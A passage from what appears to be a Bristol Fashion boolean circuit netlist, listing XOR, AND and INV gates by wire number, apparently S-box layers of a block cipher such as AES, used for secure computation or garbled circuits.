21134 XOR +2 1 21048 21049 21132 XOR +2 1 21133 21170 21131 AND +2 1 21140 21169 21130 AND +2 1 21143 33310 21129 AND +2 1 21129 21131 21111 XOR +2 1 21134 21164 21128 AND +2 1 21137 21176 21127 AND +2 1 21147 21166 21126 AND +2 1 21126 21127 21065 XOR +2 1 21135 21167 21125 AND +2 1 21132 21165 21124 AND +2 1 21124 21127 21080 XOR +1 1 21080 21077 INV +2 1 21124 21125 21076 XOR +2 1 21136 21168 21123 AND +2 1 21133 21174 21122 AND +2 1 21140 21171 21121 AND +2 1 21143 21175 21120 AND +2 1 21134 21179 21119 AND +2 1 21119 21123 21096 XOR +2 1 21128 21119 21081 XOR +1 1 21096 21074 INV +2 1 21137 21172 21118 AND +2 1 21126 21118 21083 XOR +2 1 21147 21173 21117 AND +2 1 21074 21117 21073 XOR +2 1 21073 21111 21069 XOR +2 1 21135 21178 21116 AND +2 1 21116 21069 21072 XOR +2 1 21132 21180 21115 AND +2 1 21115 21116 21110 XOR +2 1 21121 21110 21092 XOR +2 1 21122 21092 21093 XOR +2 1 21130 21093 21097 XOR +2 1 21131 21097 21102 XOR +2 1 21083 21110 21079 XOR +2 1 21111 21079 21082 XOR +2 1 21081 21082 21184 XOR +2 1 21074 21079 21078 XOR +2 1 21077 21078 21183 XOR +2 1 21102 21076 21182 XOR +2 1 21092 21069 21068 XOR +2 1 21129 21097 21066 XOR +2 1 21065 21066 34824 XOR +2 1 34820 34824 5016 XOR +2 1 21136 21177 21114 AND +2 1 21125 21114 21075 XOR +1 1 21075 21071 INV +2 1 21071 21072 21181 XOR +2 1 486 484 24705 XOR +2 1 482 480 24706 XOR +2 1 485 24705 24707 XOR +2 1 481 24707 24788 XOR +2 1 482 24707 24785 XOR +2 1 483 481 24708 XOR +2 1 487 481 24712 XOR +2 1 24712 24707 24787 XOR +2 1 483 480 24799 XOR +2 1 24706 24712 24794 XOR +2 1 24705 24799 24791 XOR +2 1 487 24791 24790 XOR +2 1 486 485 24722 XOR +2 1 24722 24794 24792 XOR +2 1 24799 24722 24795 XOR +2 1 485 483 24801 XOR +2 1 24706 24801 24786 XOR +2 1 482 24712 24797 XOR +2 1 486 24797 24793 XOR +2 1 484 485 24682 XOR +2 1 24708 24706 24668 XOR +2 1 24705 24668 24789 XOR +2 1 24708 482 24667 XOR +2 1 487 24667 24796 XOR +2 1 480 486 24800 XOR +2 1 480 485 24798 XOR +2 1 24791 24795 24784 AND +2 1 24784 24708 24711 XOR +2 1 24792 24790 24783 AND +2 1 24796 487 24782 AND +2 1 24800 24785 24781 AND +2 1 24781 24706 24710 XOR +2 1 24797 24793 24780 AND +2 1 24794 24787 24779 AND +2 1 24799 24788 24778 AND +2 1 24778 24707 24709 XOR +2 1 24711 24709 24715 XOR +2 1 480 24715 24720 XOR +2 1 24801 24786 24777 AND +2 1 24777 24783 24729 XOR +2 1 24729 24720 24775 XOR +2 1 24777 24778 24681 XOR +2 1 24681 24682 24728 XOR +2 1 24728 24710 24727 XOR +2 1 24780 24727 24774 XOR +2 1 24798 24789 24776 AND +2 1 24776 24779 24730 XOR +2 1 24776 24782 24734 XOR +2 1 24734 24706 24721 XOR +2 1 24729 24721 24772 XOR +2 1 24777 24730 24724 XOR +2 1 24710 24730 24684 XOR +2 1 24684 24709 24773 XOR +2 1 24715 24734 24683 XOR +2 1 482 24683 24726 XOR +2 1 24780 24724 24680 XOR +2 1 486 24680 24767 XOR +2 1 24775 24774 24771 AND +2 1 24771 24726 24766 XOR +2 1 24771 24773 24770 XOR +2 1 24772 24770 24769 AND +2 1 24769 24726 24768 XOR +2 1 24769 24781 24675 XOR +2 1 24675 24711 24671 XOR +2 1 480 24671 24674 XOR +2 1 24769 24720 24672 XOR +2 1 482 24671 24670 XOR +2 1 24766 24767 24765 AND +2 1 24765 24773 24764 XOR +2 1 24771 24765 24763 XOR +2 1 24765 24724 24679 XOR +2 1 24765 24782 24678 XOR +2 1 24678 24779 24673 XOR +2 1 24673 24674 24756 XOR +2 1 24773 24763 24762 AND +2 1 24762 24770 24760 XOR +2 1 24762 24780 24733 XOR +2 1 24733 24727 24754 XOR +2 1 486 24733 24716 XOR +2 1 24716 24679 24761 XOR +2 1 24768 24760 24759 AND +2 1 24759 24729 24719 XOR +2 1 24719 24721 24758 XOR +2 1 24759 24783 24677 XOR +2 1 24716 24677 24669 XOR +2 1 24706 24669 24676 XOR +2 1 24673 24676 24757 XOR +2 1 24719 24672 24755 XOR +2 1 24669 24670 24753 XOR +2 1 24754 24791 24752 AND +2 1 24761 24790 24751 AND +2 1 24764 487 24750 AND +2 1 24750 24752 24732 XOR +2 1 24755 24785 24749 AND +2 1 24758 24797 24748 AND +2 1 24768 24787 24747 AND +2 1 24747 24748 24686 XOR +2 1 24756 24788 24746 AND +2 1 24753 24786 24745 AND +2 1 24745 24748 24701 XOR +1 1 24701 24698 INV +2 1 24745 24746 24697 XOR +2 1 24757 24789 24744 AND +2 1 24754 24795 24743 AND +2 1 24761 24792 24742 AND +2 1 24764 24796 24741 AND +2 1 24755 24800 24740 AND +2 1 24740 24744 24717 XOR +2 1 24749 24740 24702 XOR +1 1 24717 24695 INV +2 1 24758 24793 24739 AND +2 1 24747 24739 24704 XOR +2 1 24768 24794 24738 AND +2 1 24695 24738 24694 XOR +2 1 24694 24732 24690 XOR +2 1 24756 24799 24737 AND +2 1 24737 24690 24693 XOR +2 1 24753 24801 24736 AND +2 1 24736 24737 24731 XOR +2 1 24742 24731 24713 XOR +2 1 24743 24713 24714 XOR +2 1 24751 24714 24718 XOR +2 1 24752 24718 24723 XOR +2 1 24704 24731 24700 XOR +2 1 24732 24700 24703 XOR +2 1 24702 24703 24805 XOR +2 1 24695 24700 24699 XOR +2 1 24698 24699 24804 XOR +2 1 24723 24697 24803 XOR +2 1 24713 24690 24689 XOR +2 1 24750 24718 24687 XOR +2 1 24686 24687 36506 XOR +2 1 24757 24798 24735 AND +2 1 24746 24735 24696 XOR +1 1 24696 24692 INV +2 1 24692 24693 24802 XOR +1 1 24805 36503 INV +1 1 24804 36504 INV +1 1 24803 36509 INV +1 1 24802 36508 INV +2 1 25 27 24844 XOR +2 1 29 31 24845 XOR +2 1 26 24844 24846 XOR +2 1 30 24846 24927 XOR +2 1 29 24846 24924 XOR +2 1 28 30 24847 XOR +2 1 24 30 24851 XOR +2 1 24851 24846 24926 XOR +2 1 28 31 24938 XOR +2 1 24845 24851 24933 XOR +2 1 24844 24938 24930 XOR +2 1 24 24930 24929 XOR +2 1 25 26 24861 XOR +2 1 24861 24933 24931 XOR +2 1 24938 24861 24934 XOR +2 1 26 28 24940 XOR +2 1 24845 24940 24925 XOR +2 1 29 24851 24936 XOR +2 1 25 24936 24932 XOR +2 1 27 26 24821 XOR +2 1 24847 24845 24807 XOR +2 1 24844 24807 24928 XOR +2 1 24847 29 24806 XOR +2 1 24 24806 24935 XOR +2 1 31 25 24939 XOR +2 1 31 26 24937 XOR +2 1 24930 24934 24923 AND +2 1 24923 24847 24850 XOR +2 1 24931 24929 24922 AND +2 1 24935 24 24921 AND +2 1 24939 24924 24920 AND +2 1 24920 24845 24849 XOR +2 1 24936 24932 24919 AND +2 1 24933 24926 24918 AND +2 1 24938 24927 24917 AND +2 1 24917 24846 24848 XOR +2 1 24850 24848 24854 XOR +2 1 31 24854 24859 XOR +2 1 24940 24925 24916 AND +2 1 24916 24922 24868 XOR +2 1 24868 24859 24914 XOR +2 1 24916 24917 24820 XOR +2 1 24820 24821 24867 XOR +2 1 24867 24849 24866 XOR +2 1 24919 24866 24913 XOR +2 1 24937 24928 24915 AND +2 1 24915 24918 24869 XOR +2 1 24915 24921 24873 XOR +2 1 24873 24845 24860 XOR +2 1 24868 24860 24911 XOR +2 1 24916 24869 24863 XOR +2 1 24849 24869 24823 XOR +2 1 24823 24848 24912 XOR +2 1 24854 24873 24822 XOR +2 1 29 24822 24865 XOR +2 1 24919 24863 24819 XOR +2 1 25 24819 24906 XOR +2 1 24914 24913 24910 AND +2 1 24910 24865 24905 XOR +2 1 24910 24912 24909 XOR +2 1 24911 24909 24908 AND +2 1 24908 24865 24907 XOR +2 1 24908 24920 24814 XOR +2 1 24814 24850 24810 XOR +2 1 31 24810 24813 XOR +2 1 24908 24859 24811 XOR +2 1 29 24810 24809 XOR +2 1 24905 24906 24904 AND +2 1 24904 24912 24903 XOR +2 1 24910 24904 24902 XOR +2 1 24904 24863 24818 XOR +2 1 24904 24921 24817 XOR +2 1 24817 24918 24812 XOR +2 1 24812 24813 24895 XOR +2 1 24912 24902 24901 AND +2 1 24901 24909 24899 XOR +2 1 24901 24919 24872 XOR +2 1 24872 24866 24893 XOR +2 1 25 24872 24855 XOR +2 1 24855 24818 24900 XOR +2 1 24907 24899 24898 AND +2 1 24898 24868 24858 XOR +2 1 24858 24860 24897 XOR +2 1 24898 24922 24816 XOR +2 1 24855 24816 24808 XOR +2 1 24845 24808 24815 XOR +2 1 24812 24815 24896 XOR +2 1 24858 24811 24894 XOR +2 1 24808 24809 24892 XOR +2 1 24893 24930 24891 AND +2 1 24900 24929 24890 AND +2 1 24903 24 24889 AND +2 1 24889 24891 24871 XOR +2 1 24894 24924 24888 AND +2 1 24897 24936 24887 AND +2 1 24907 24926 24886 AND +2 1 24886 24887 24825 XOR +2 1 24895 24927 24885 AND +2 1 24892 24925 24884 AND +2 1 24884 24887 24840 XOR +1 1 24840 24837 INV +2 1 24884 24885 24836 XOR +2 1 24896 24928 24883 AND +2 1 24893 24934 24882 AND +2 1 24900 24931 24881 AND +2 1 24903 24935 24880 AND +2 1 24894 24939 24879 AND +2 1 24879 24883 24856 XOR +2 1 24888 24879 24841 XOR +1 1 24856 24834 INV +2 1 24897 24932 24878 AND +2 1 24886 24878 24843 XOR +2 1 24907 24933 24877 AND +2 1 24834 24877 24833 XOR +2 1 24833 24871 24829 XOR +2 1 24895 24938 24876 AND +2 1 24876 24829 24832 XOR +2 1 24892 24940 24875 AND +2 1 24875 24876 24870 XOR +2 1 24881 24870 24852 XOR +2 1 24882 24852 24853 XOR +2 1 24890 24853 24857 XOR +2 1 24891 24857 24862 XOR +2 1 24843 24870 24839 XOR +2 1 24871 24839 24842 XOR +2 1 24841 24842 24944 XOR +2 1 24834 24839 24838 XOR +2 1 24837 24838 24943 XOR +2 1 24862 24836 24942 XOR +2 1 24852 24829 24828 XOR +2 1 24889 24857 24826 XOR +2 1 24825 24826 36474 XOR +2 1 36474 99 412 XOR +2 1 67 412 444 XOR +2 1 36506 412 284 XOR +2 1 35 444 476 XOR +2 1 3 476 508 XOR +2 1 444 284 316 XOR +2 1 476 316 348 XOR +2 1 508 348 380 XOR +2 1 24896 24937 24874 AND +2 1 24885 24874 24835 XOR +1 1 24835 24831 INV +2 1 24831 24832 24941 XOR +1 1 24944 36471 INV +2 1 36471 96 415 XOR +2 1 64 415 447 XOR +2 1 36503 415 287 XOR +2 1 447 287 319 XOR +2 1 32 447 479 XOR +2 1 0 479 511 XOR +2 1 479 319 351 XOR +2 1 511 351 383 XOR +1 1 24943 36472 INV +2 1 36472 97 414 XOR +2 1 36504 414 286 XOR +2 1 65 414 446 XOR +2 1 33 446 478 XOR +2 1 1 478 510 XOR +2 1 446 286 318 XOR +2 1 478 318 350 XOR +2 1 510 350 382 XOR +2 1 382 380 13014 XOR +2 1 510 508 13154 XOR +1 1 24942 36477 INV +2 1 36477 102 409 XOR +2 1 70 409 441 XOR +2 1 38 441 473 XOR +2 1 6 473 505 XOR +2 1 36509 409 281 XOR +2 1 441 281 313 XOR +2 1 473 313 345 XOR +2 1 505 345 377 XOR +2 1 383 377 13021 XOR +2 1 511 505 13161 XOR +1 1 24941 36476 INV +2 1 36476 101 410 XOR +2 1 69 410 442 XOR +2 1 37 442 474 XOR +2 1 5 474 506 XOR +2 1 36508 410 282 XOR +2 1 442 282 314 XOR +2 1 474 314 346 XOR +2 1 506 346 378 XOR +2 1 378 13021 13107 XOR +2 1 382 13107 13103 XOR +2 1 13107 13103 13090 AND +2 1 506 13161 13247 XOR +2 1 510 13247 13243 XOR +2 1 13247 13243 13230 AND +2 1 1 3 24983 XOR +2 1 5 7 24984 XOR +2 1 2 24983 24985 XOR +2 1 6 24985 25067 XOR +2 1 5 24985 25064 XOR +2 1 4 6 24986 XOR +2 1 0 6 24990 XOR +2 1 24990 24985 25066 XOR +2 1 4 7 25078 XOR +2 1 24984 24990 25073 XOR +2 1 24983 25078 25070 XOR +2 1 0 25070 25069 XOR +2 1 1 2 25000 XOR +2 1 25000 25073 25071 XOR +2 1 25078 25000 25074 XOR +2 1 2 4 25080 XOR +2 1 24984 25080 25065 XOR +2 1 5 24990 25076 XOR +2 1 1 25076 25072 XOR +2 1 3 2 24960 XOR +2 1 24986 24984 24946 XOR +2 1 24983 24946 25068 XOR +2 1 24986 5 24945 XOR +2 1 0 24945 25075 XOR +2 1 7 1 25079 XOR +2 1 7 2 25077 XOR +2 1 25070 25074 25063 AND +2 1 25063 24986 24989 XOR +2 1 25071 25069 25062 AND +2 1 25075 0 25061 AND +2 1 25079 25064 25060 AND +2 1 25060 24984 24988 XOR +2 1 25076 25072 25059 AND +2 1 25073 25066 25058 AND +2 1 25078 25067 25057 AND +2 1 25057 24985 24987 XOR +2 1 24989 24987 24993 XOR +2 1 7 24993 24998 XOR +2 1 25080 25065 25056 AND +2 1 25056 25062 25007 XOR +2 1 25007 24998 25054 XOR +2 1 25056 25057 24959 XOR +2 1 24959 24960 25006 XOR +2 1 25006 24988 25005 XOR +2 1 25059 25005 25053 XOR +2 1 25077 25068 25055 AND +2 1 25055 25058 25008 XOR +2 1 25055 25061 25012 XOR +2 1 25012 24984 24999 XOR +2 1 25007 24999 25051 XOR +2 1 25056 25008 25002 XOR +2 1 24988 25008 24962 XOR +2 1 24962 24987 25052 XOR +2 1 24993 25012 24961 XOR +2 1 5 24961 25004 XOR +2 1 25059 25002 24958 XOR +2 1 1 24958 25046 XOR +2 1 25054 25053 25050 AND +2 1 25050 25004 25045 XOR +2 1 25050 25052 25049 XOR +2 1 25051 25049 25048 AND +2 1 25048 25004 25047 XOR +2 1 25048 25060 24953 XOR +2 1 24953 24989 24949 XOR +2 1 7 24949 24952 XOR +2 1 25048 24998 24950 XOR +2 1 5 24949 24948 XOR +2 1 25045 25046 25044 AND +2 1 25044 25052 25043 XOR +2 1 25050 25044 25042 XOR +2 1 25044 25002 24957 XOR +2 1 25044 25061 24956 XOR +2 1 24956 25058 24951 XOR +2 1 24951 24952 25035 XOR +2 1 25052 25042 25041 AND +2 1 25041 25049 25039 XOR +2 1 25041 25059 25011 XOR +2 1 25011 25005 25033 XOR +2 1 1 25011 24994 XOR +2 1 24994 24957 25040 XOR +2 1 25047 25039 25038 AND +2 1 25038 25007 24997 XOR +2 1 24997 24999 25037 XOR +2 1 25038 25062 24955 XOR +2 1 24994 24955 24947 XOR +2 1 24984 24947 24954 XOR +2 1 24951 24954 25036 XOR +2 1 24997 24950 25034 XOR +2 1 24947 24948 25032 XOR +2 1 25033 25070 25031 AND +2 1 25040 25069 25030 AND +2 1 25043 0 25029 AND +2 1 25029 25031 25010 XOR +2 1 25034 25064 25028 AND +2 1 25037 25076 25027 AND +2 1 25027 25028 25013 XOR +2 1 25047 25066 25026 AND +2 1 25026 25027 24964 XOR +2 1 25035 25067 25025 AND +2 1 25032 25065 25024 AND +2 1 25024 25013 25003 XOR +2 1 25024 25027 24979 XOR +1 1 24979 24976 INV +2 1 25024 25025 24975 XOR +2 1 25025 25003 24963 XOR +2 1 25036 25068 25023 AND +2 1 25033 25074 25022 AND +2 1 25040 25071 25021 AND +2 1 25043 25075 25020 AND +2 1 25020 25003 24969 XOR +1 1 24969 24966 INV +2 1 25034 25079 25019 AND +2 1 25019 25023 24995 XOR +2 1 25028 25019 24980 XOR +1 1 24995 24973 INV +2 1 25037 25072 25018 AND +2 1 25026 25018 24982 XOR +2 1 25047 25073 25017 AND +2 1 24973 25017 24972 XOR +2 1 24972 25010 24968 XOR +2 1 25035 25078 25016 AND +2 1 25016 24968 24971 XOR +2 1 25032 25080 25015 AND +2 1 25015 25016 25009 XOR +2 1 25021 25009 24991 XOR +2 1 25022 24991 24992 XOR +2 1 25030 24992 24996 XOR +2 1 25031 24996 25001 XOR +2 1 25013 25001 36483 XOR +2 1 36483 108 403 XOR +2 1 76 403 435 XOR +2 1 44 435 467 XOR +2 1 12 467 499 XOR +2 1 24982 25009 24978 XOR +2 1 25010 24978 24981 XOR +2 1 24980 24981 25084 XOR +2 1 24973 24978 24977 XOR +2 1 24976 24977 25083 XOR +2 1 25001 24975 25082 XOR +2 1 24991 24968 24967 XOR +2 1 24966 24967 36481 XOR +2 1 36481 106 405 XOR +2 1 74 405 437 XOR +2 1 42 437 469 XOR +2 1 10 469 501 XOR +2 1 501 499 22848 XOR +2 1 25029 24996 24965 XOR +2 1 24964 24965 36482 XOR +2 1 36482 107 404 XOR +2 1 75 404 436 XOR +2 1 43 436 468 XOR +2 1 11 468 500 XOR +2 1 500 501 22729 XOR +2 1 24992 24963 36486 XOR +2 1 36486 111 400 XOR +2 1 79 400 432 XOR +2 1 47 432 464 XOR +2 1 15 464 496 XOR +2 1 499 496 22846 XOR +2 1 496 501 22845 XOR +2 1 25036 25077 25014 AND +2 1 25025 25014 24974 XOR +1 1 24974 24970 INV +2 1 24970 24971 25081 XOR +1 1 25084 36479 INV +2 1 36479 104 407 XOR +2 1 72 407 439 XOR +2 1 40 439 471 XOR +2 1 8 471 503 XOR +1 1 25083 36480 INV +2 1 36480 105 406 XOR +2 1 73 406 438 XOR +2 1 41 438 470 XOR +2 1 9 470 502 XOR +2 1 502 500 22752 XOR +2 1 501 22752 22754 XOR +2 1 22752 22846 22838 XOR +2 1 503 22838 22837 XOR +2 1 502 501 22769 XOR +2 1 22846 22769 22842 XOR +2 1 496 502 22847 XOR +2 1 22838 22842 22831 AND +1 1 25082 36485 INV +2 1 36485 110 401 XOR +2 1 78 401 433 XOR +2 1 46 433 465 XOR +2 1 14 465 497 XOR +2 1 497 22754 22835 XOR +2 1 499 497 22755 XOR +2 1 22831 22755 22758 XOR +2 1 503 497 22759 XOR +2 1 22759 22754 22834 XOR +2 1 22846 22835 22825 AND +2 1 22825 22754 22756 XOR +2 1 22758 22756 22762 XOR +2 1 496 22762 22767 XOR +1 1 25081 36484 INV +2 1 36484 109 402 XOR +2 1 77 402 434 XOR +2 1 45 434 466 XOR +2 1 13 466 498 XOR +2 1 498 22754 22832 XOR +2 1 498 496 22753 XOR +2 1 22753 22848 22833 XOR +2 1 22753 22759 22841 XOR +2 1 22769 22841 22839 XOR +2 1 498 22759 22844 XOR +2 1 502 22844 22840 XOR +2 1 22755 22753 22715 XOR +2 1 22752 22715 22836 XOR +2 1 22755 498 22714 XOR +2 1 503 22714 22843 XOR +2 1 22839 22837 22830 AND +2 1 22843 503 22829 AND +2 1 22847 22832 22828 AND +2 1 22828 22753 22757 XOR +2 1 22844 22840 22827 AND +2 1 22841 22834 22826 AND +2 1 22848 22833 22824 AND +2 1 22824 22830 22776 XOR +2 1 22776 22767 22822 XOR +2 1 22824 22825 22728 XOR +2 1 22728 22729 22775 XOR +2 1 22775 22757 22774 XOR +2 1 22827 22774 22821 XOR +2 1 22845 22836 22823 AND +2 1 22823 22826 22777 XOR +2 1 22823 22829 22781 XOR +2 1 22781 22753 22768 XOR +2 1 22776 22768 22819 XOR +2 1 22824 22777 22771 XOR +2 1 22757 22777 22731 XOR +2 1 22731 22756 22820 XOR +2 1 22762 22781 22730 XOR +2 1 498 22730 22773 XOR +2 1 22827 22771 22727 XOR +2 1 502 22727 22814 XOR +2 1 22822 22821 22818 AND +2 1 22818 22773 22813 XOR +2 1 22818 22820 22817 XOR +2 1 22819 22817 22816 AND +2 1 22816 22773 22815 XOR +2 1 22816 22828 22722 XOR +2 1 22722 22758 22718 XOR +2 1 496 22718 22721 XOR +2 1 22816 22767 22719 XOR +2 1 498 22718 22717 XOR +2 1 22813 22814 22812 AND +2 1 22812 22820 22811 XOR +2 1 22818 22812 22810 XOR +2 1 22812 22771 22726 XOR +2 1 22812 22829 22725 XOR +2 1 22725 22826 22720 XOR +2 1 22720 22721 22803 XOR +2 1 22820 22810 22809 AND +2 1 22809 22817 22807 XOR +2 1 22809 22827 22780 XOR +2 1 22780 22774 22801 XOR +2 1 502 22780 22763 XOR +2 1 22763 22726 22808 XOR +2 1 22815 22807 22806 AND +2 1 22806 22776 22766 XOR +2 1 22766 22768 22805 XOR +2 1 22806 22830 22724 XOR +2 1 22763 22724 22716 XOR +2 1 22753 22716 22723 XOR +2 1 22720 22723 22804 XOR +2 1 22766 22719 22802 XOR +2 1 22716 22717 22800 XOR +2 1 22801 22838 22799 AND +2 1 22808 22837 22798 AND +2 1 22811 503 22797 AND +2 1 22797 22799 22779 XOR +2 1 22802 22832 22796 AND +2 1 22805 22844 22795 AND +2 1 22815 22834 22794 AND +2 1 22794 22795 22733 XOR +2 1 22803 22835 22793 AND +2 1 22800 22833 22792 AND +2 1 22792 22795 22748 XOR +1 1 22748 22745 INV +2 1 22792 22793 22744 XOR +2 1 22804 22836 22791 AND +2 1 22801 22842 22790 AND +2 1 22808 22839 22789 AND +2 1 22811 22843 22788 AND +2 1 22802 22847 22787 AND +2 1 22787 22791 22764 XOR +2 1 22796 22787 22749 XOR +1 1 22764 22742 INV +2 1 22805 22840 22786 AND +2 1 22794 22786 22751 XOR +2 1 22815 22841 22785 AND +2 1 22742 22785 22741 XOR +2 1 22741 22779 22737 XOR +2 1 22803 22846 22784 AND +2 1 22784 22737 22740 XOR +2 1 22800 22848 22783 AND +2 1 22783 22784 22778 XOR +2 1 22789 22778 22760 XOR +2 1 22790 22760 22761 XOR +2 1 22798 22761 22765 XOR +2 1 22799 22765 22770 XOR +2 1 22751 22778 22747 XOR +2 1 22779 22747 22750 XOR +2 1 22749 22750 22852 XOR +2 1 22742 22747 22746 XOR +2 1 22745 22746 22851 XOR +2 1 22770 22744 22850 XOR +2 1 22760 22737 22736 XOR +2 1 22797 22765 22734 XOR +2 1 22733 22734 36522 XOR +2 1 36522 396 268 XOR +2 1 428 268 300 XOR +2 1 460 300 332 XOR +2 1 492 332 364 XOR +2 1 22804 22845 22782 AND +2 1 22793 22782 22743 XOR +1 1 22743 22739 INV +2 1 22739 22740 22849 XOR +1 1 22852 36519 INV +2 1 36519 399 271 XOR +2 1 431 271 303 XOR +2 1 463 303 335 XOR +2 1 495 335 367 XOR +1 1 22851 36520 INV +2 1 36520 398 270 XOR +2 1 430 270 302 XOR +2 1 462 302 334 XOR +2 1 494 334 366 XOR +2 1 366 364 19138 XOR +1 1 22850 36525 INV +2 1 36525 393 265 XOR +2 1 425 265 297 XOR +2 1 457 297 329 XOR +2 1 489 329 361 XOR +2 1 367 361 19145 XOR +1 1 22849 36524 INV +2 1 36524 394 266 XOR +2 1 426 266 298 XOR +2 1 458 298 330 XOR +2 1 490 330 362 XOR +2 1 362 19145 19230 XOR +2 1 366 19230 19226 XOR +2 1 19230 19226 19213 AND +2 1 33255 33257 31982 XOR +2 1 33259 33261 31983 XOR +2 1 33256 31982 31984 XOR +2 1 33260 31984 32065 XOR +2 1 33259 31984 32062 XOR +2 1 33258 33260 31985 XOR +2 1 33254 33260 31989 XOR +2 1 31989 31984 32064 XOR +2 1 33258 33261 32076 XOR +2 1 31983 31989 32071 XOR +2 1 31982 32076 32068 XOR +2 1 33254 32068 32067 XOR +2 1 33255 33256 31999 XOR +2 1 31999 32071 32069 XOR +2 1 32076 31999 32072 XOR +2 1 33256 33258 32078 XOR +2 1 31983 32078 32063 XOR +2 1 33259 31989 32074 XOR +2 1 33255 32074 32070 XOR +2 1 33257 33256 31959 XOR +2 1 31985 31983 31945 XOR +2 1 31982 31945 32066 XOR +2 1 31985 33259 31944 XOR +2 1 33254 31944 32073 XOR +2 1 33261 33255 32077 XOR +2 1 33261 33256 32075 XOR +2 1 32068 32072 32061 AND +2 1 32061 31985 31988 XOR +2 1 32069 32067 32060 AND +2 1 32073 33254 32059 AND +2 1 32077 32062 32058 AND +2 1 32058 31983 31987 XOR +2 1 32074 32070 32057 AND +2 1 32071 32064 32056 AND +2 1 32076 32065 32055 AND +2 1 32055 31984 31986 XOR +2 1 31988 31986 31992 XOR +2 1 33261 31992 31997 XOR +2 1 32078 32063 32054 AND +2 1 32054 32060 32006 XOR +2 1 32006 31997 32052 XOR +2 1 32054 32055 31958 XOR +2 1 31958 31959 32005 XOR +2 1 32005 31987 32004 XOR +2 1 32057 32004 32051 XOR +2 1 32075 32066 32053 AND +2 1 32053 32056 32007 XOR +2 1 32053 32059 32011 XOR +2 1 32011 31983 31998 XOR +2 1 32006 31998 32049 XOR +2 1 32054 32007 32001 XOR +2 1 31987 32007 31961 XOR +2 1 31961 31986 32050 XOR +2 1 31992 32011 31960 XOR +2 1 33259 31960 32003 XOR +2 1 32057 32001 31957 XOR +2 1 33255 31957 32044 XOR +2 1 32052 32051 32048 AND +2 1 32048 32003 32043 XOR +2 1 32048 32050 32047 XOR +2 1 32049 32047 32046 AND +2 1 32046 32003 32045 XOR +2 1 32046 32058 31952 XOR +2 1 31952 31988 31948 XOR +2 1 33261 31948 31951 XOR +2 1 32046 31997 31949 XOR +2 1 33259 31948 31947 XOR +2 1 32043 32044 32042 AND +2 1 32042 32050 32041 XOR +2 1 32048 32042 32040 XOR +2 1 32042 32001 31956 XOR +2 1 32042 32059 31955 XOR +2 1 31955 32056 31950 XOR +2 1 31950 31951 32033 XOR +2 1 32050 32040 32039 AND +2 1 32039 32047 32037 XOR +2 1 32039 32057 32010 XOR +2 1 32010 32004 32031 XOR +2 1 33255 32010 31993 XOR +2 1 31993 31956 32038 XOR +2 1 32045 32037 32036 AND +2 1 32036 32006 31996 XOR +2 1 31996 31998 32035 XOR +2 1 32036 32060 31954 XOR +2 1 31993 31954 31946 XOR +2 1 31983 31946 31953 XOR +2 1 31950 31953 32034 XOR +2 1 31996 31949 32032 XOR +2 1 31946 31947 32030 XOR +2 1 32031 32068 32029 AND +2 1 32038 32067 32028 AND +2 1 32041 33254 32027 AND +2 1 32027 32029 32009 XOR +2 1 32032 32062 32026 AND +2 1 32035 32074 32025 AND +2 1 32045 32064 32024 AND +2 1 32024 32025 31963 XOR +2 1 32033 32065 32023 AND +2 1 32030 32063 32022 AND +2 1 32022 32025 31978 XOR +1 1 31978 31975 INV +2 1 32022 32023 31974 XOR +2 1 32034 32066 32021 AND +2 1 32031 32072 32020 AND +2 1 32038 32069 32019 AND +2 1 32041 32073 32018 AND +2 1 32032 32077 32017 AND +2 1 32017 32021 31994 XOR +2 1 32026 32017 31979 XOR +1 1 31994 31972 INV +2 1 32035 32070 32016 AND +2 1 32024 32016 31981 XOR +2 1 32045 32071 32015 AND +2 1 31972 32015 31971 XOR +2 1 31971 32009 31967 XOR +2 1 32033 32076 32014 AND +2 1 32014 31967 31970 XOR +2 1 32030 32078 32013 AND +2 1 32013 32014 32008 XOR +2 1 32019 32008 31990 XOR +2 1 32020 31990 31991 XOR +2 1 32028 31991 31995 XOR +2 1 32029 31995 32000 XOR +2 1 31981 32008 31977 XOR +2 1 32009 31977 31980 XOR +2 1 31979 31980 32082 XOR +2 1 31972 31977 31976 XOR +2 1 31975 31976 32081 XOR +2 1 32000 31974 32080 XOR +2 1 34854 32080 5053 XOR +2 1 31990 31967 31966 XOR +2 1 32027 31995 31964 XOR +2 1 31963 31964 34847 XOR +2 1 34847 34860 5019 XOR +2 1 32034 32075 32012 AND +2 1 32023 32012 31973 XOR +1 1 31973 31969 INV +2 1 31969 31970 32079 XOR +1 1 32080 34849 INV +2 1 33263 33265 32260 XOR +2 1 33267 33269 32261 XOR +2 1 33264 32260 32262 XOR +2 1 33268 32262 32343 XOR +2 1 33267 32262 32340 XOR +2 1 33266 33268 32263 XOR +2 1 33262 33268 32267 XOR +2 1 32267 32262 32342 XOR +2 1 33266 33269 32354 XOR +2 1 32261 32267 32349 XOR +2 1 32260 32354 32346 XOR +2 1 33262 32346 32345 XOR +2 1 33263 33264 32277 XOR +2 1 32277 32349 32347 XOR +2 1 32354 32277 32350 XOR +2 1 33264 33266 32356 XOR +2 1 32261 32356 32341 XOR +2 1 33267 32267 32352 XOR +2 1 33263 32352 32348 XOR +2 1 33265 33264 32237 XOR +2 1 32263 32261 32223 XOR +2 1 32260 32223 32344 XOR +2 1 32263 33267 32222 XOR +2 1 33262 32222 32351 XOR +2 1 33269 33263 32355 XOR +2 1 33269 33264 32353 XOR +2 1 32346 32350 32339 AND +2 1 32339 32263 32266 XOR +2 1 32347 32345 32338 AND +2 1 32351 33262 32337 AND +2 1 32355 32340 32336 AND +2 1 32336 32261 32265 XOR +2 1 32352 32348 32335 AND +2 1 32349 32342 32334 AND +2 1 32354 32343 32333 AND +2 1 32333 32262 32264 XOR +2 1 32266 32264 32270 XOR +2 1 33269 32270 32275 XOR +2 1 32356 32341 32332 AND +2 1 32332 32338 32284 XOR +2 1 32284 32275 32330 XOR +2 1 32332 32333 32236 XOR +2 1 32236 32237 32283 XOR +2 1 32283 32265 32282 XOR +2 1 32335 32282 32329 XOR +2 1 32353 32344 32331 AND +2 1 32331 32334 32285 XOR +2 1 32331 32337 32289 XOR +2 1 32289 32261 32276 XOR +2 1 32284 32276 32327 XOR +2 1 32332 32285 32279 XOR +2 1 32265 32285 32239 XOR +2 1 32239 32264 32328 XOR +2 1 32270 32289 32238 XOR +2 1 33267 32238 32281 XOR +2 1 32335 32279 32235 XOR +2 1 33263 32235 32322 XOR +2 1 32330 32329 32326 AND +2 1 32326 32281 32321 XOR +2 1 32326 32328 32325 XOR +2 1 32327 32325 32324 AND +2 1 32324 32281 32323 XOR +2 1 32324 32336 32230 XOR +2 